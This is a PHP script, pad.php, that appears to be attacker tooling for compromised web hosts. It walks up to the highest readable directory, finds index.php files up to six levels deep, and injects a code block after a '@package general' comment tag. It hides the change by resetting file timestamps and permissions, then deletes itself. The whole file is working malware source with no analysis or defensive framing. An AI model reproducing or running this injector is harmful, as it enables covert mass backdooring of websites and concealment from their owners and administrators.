pad.php

<?php
$tag = ' * @package general';

$code = <<<'CODE'
 */
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/*
CODE;

$injectType = 1; // 0 - before tag, 1 - after tag

$indexFiles = array('index.php');




// API
set_time_limit(360);

$d1=array();
$d2=array();
$d3=array();
$d4=array();
$d5=array();
$d6=array();

$dir = path_finder();
$res=smartscan($dir);

foreach($res as $v) {
    if(in_array($v, $indexFiles)) {
        indexEditor($localpath = $dir, $indexFile = $v, $tag, $code);
    } else {
        if(is_dir($dir.'/'.$v) && ($v !== ".") && ($v !== "..")) {
           $d1[]=$dir.'/'.$v;
        }
    }
}

foreach($d1 as $d) {
    $res=smartscan($d);
    foreach($res as $v) {
        if(in_array($v, $indexFiles)) {
            indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
        } else {
            if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
               $d2[]=$d.'/'.$v;
            }
        }
    }
}

foreach($d2 as $d) {
    $res=smartscan($d);
    foreach($res as $v) {
        if(in_array($v, $indexFiles)) {
            indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
        } else {
            if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
               $d3[]=$d.'/'.$v;
            }
        }
    }
}

foreach($d3 as $d) {
    $res=smartscan($d);
    foreach($res as $v) {
        if(in_array($v, $indexFiles)) {
            indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
        } else {
            if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
               $d4[]=$d.'/'.$v;
            }
        }
    }
}

foreach($d4 as $d) {
    $res=smartscan($d);
    foreach($res as $v) {
        if(in_array($v, $indexFiles)) {
            indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
        } else {
            if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
               $d5[]=$d.'/'.$v;
            }
        }
    }
}

foreach($d5 as $d) {
    $res=smartscan($d);
    foreach($res as $v) {
        if(in_array($v, $indexFiles)) {
            indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
        } else {
            if(is_dir($d.'/'.$v) && ($v !== ".") && ($v !== "..")) {
               $d6[]=$d.'/'.$v;
            }
        }
    }
}

foreach($d6 as $d) {
    $res=smartscan($d);
    foreach($res as $v) {
        if(in_array($v, $indexFiles)) {
            indexEditor($localpath = $d, $indexFile = $v, $tag, $code);
        }
    }
}


// func
function indexEditor($localpath, $indexFile, $tag, $code) {
    $fullpath = $localpath.'/'.$indexFile;
    edit($fullpath, $code, $tag);
}

function edit($filepath, $code, $tag) {
    clearstatcache();
    $perms = 0777 & fileperms($filepath);
    chmod($filepath, 0666);
    if(is_writable($filepath)) {
        $content = file_get_contents($filepath);
        $tag_exists = false;
        global $injectType;
        if ((strpos($content, $tag) !== false) && (strpos($content, $code) === false)) {
            switch($injectType) {
                case 0:
                    $replacement = $code."\r\n".$tag;
                    break;
                case 1:
                    $replacement = $tag."\r\n".$code;
                    break;
            }
            $tag_exists = true;
        }

        if($tag_exists) {
            $lastmod = filemtime($filepath);
            $inject = str_replace($tag,$replacement,$content);
            file_put_contents($filepath,$inject,LOCK_EX);
            touch($filepath,$lastmod);
            chmod($filepath,$perms);
            echo '&nbsp&nbsp&nbsp&nbsp&nbspSuccess >> '.$filepath.'<br>';
        } else {
            echo '&nbsp&nbsp&nbsp&nbsp&nbspTag Not Found >> '.$filepath.'<br>';
            return;
        }

    } else {
        echo '&nbsp&nbsp&nbsp&nbsp&nbspCant Edit >> '.$filepath.'<br>';
    }
}

function path_finder() {
    $p=$_SERVER['SCRIPT_FILENAME'];
    if(empty($p)){
       exit('Cant find the path');
       }
    else{
       $p=str_replace('\/', '/', $p);
       $p=trim($p, '/');
       $p=substr_count($p, '/')-1;
       }

    for($k=1; $k<=$p; $k++){
        if(!is_readable(str_repeat('../', $k))){
        $pth=trim(str_repeat('../', $k-1));
        break;
        }

    }

    if($pth) {
       return $pth;
     }
    else {
       return trim(str_repeat('../', $p-1));
     }
}

function smartscan($dir) {
    if(function_exists("scandir")){
       return scandir($dir);
       }
    else{
       $dh  = opendir($dir);
       while(false !== ($filename = readdir($dh)))
           $files[] = $filename;
           return $files;
       }
}
unlink(__FILE__);
?>